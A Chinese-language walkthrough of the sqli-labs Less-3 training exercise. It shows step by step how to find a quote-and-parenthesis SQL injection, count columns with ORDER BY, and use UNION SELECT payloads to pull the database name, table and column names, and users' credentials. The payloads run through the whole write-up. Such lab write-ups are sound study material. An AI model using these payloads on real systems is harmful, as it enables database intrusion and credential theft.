[网络安全]sqli-labs Less-3 解题详析

判断注入类型

GET1' and '1'='1,回显如下:
GET1' and '1'='2
没有回显,说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 2 --+,回显如下:

由上图可知,sql语法中给$id加上了()

猜测后端语句为SELECT * FROM xx where id=('$id')

故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=('1') order by 3 --+')

SELECT * FROM xx where id=('-1') order by 3

GET1') order by 4 --+

GET1') order by 3 --+
故注入点为3个

查库名

GET-1') union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

复制代码
-1') union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
狮驼岭的小钻风几秒前
汽车V模型开发流程、ASPICE、汽车功能安全的基石是国际标准 ISO 26262
网络·安全·汽车
jianghua0011 分钟前
Django视图与URLs路由详解
数据库·django·sqlite
那我掉的头发算什么2 分钟前
【Mybatis】Mybatis-plus使用介绍
服务器·数据库·后端·spring·mybatis
倔强的石头1063 分钟前
关系数据库替换用金仓:数据迁移过程中的完整性与一致性风险
数据库·kingbase
_Johnny_3 分钟前
ETCD 配额/空间告警模拟脚本
数据库·chrome·etcd
静听山水7 分钟前
StarRocks查询加速
数据库
静听山水14 分钟前
StarRocks高级特性
数据库
devmoon19 分钟前
Chopsticks 本地分叉平行链实战指南
安全·智能合约·polkadot·erc-20·独立链
范纹杉想快点毕业20 分钟前
从单片机基础到程序框架:全方位技术深度解析
数据库·mongodb
JMchen12320 分钟前
Android网络安全实战:从HTTPS到双向认证
android·经验分享·网络协议·安全·web安全·https·kotlin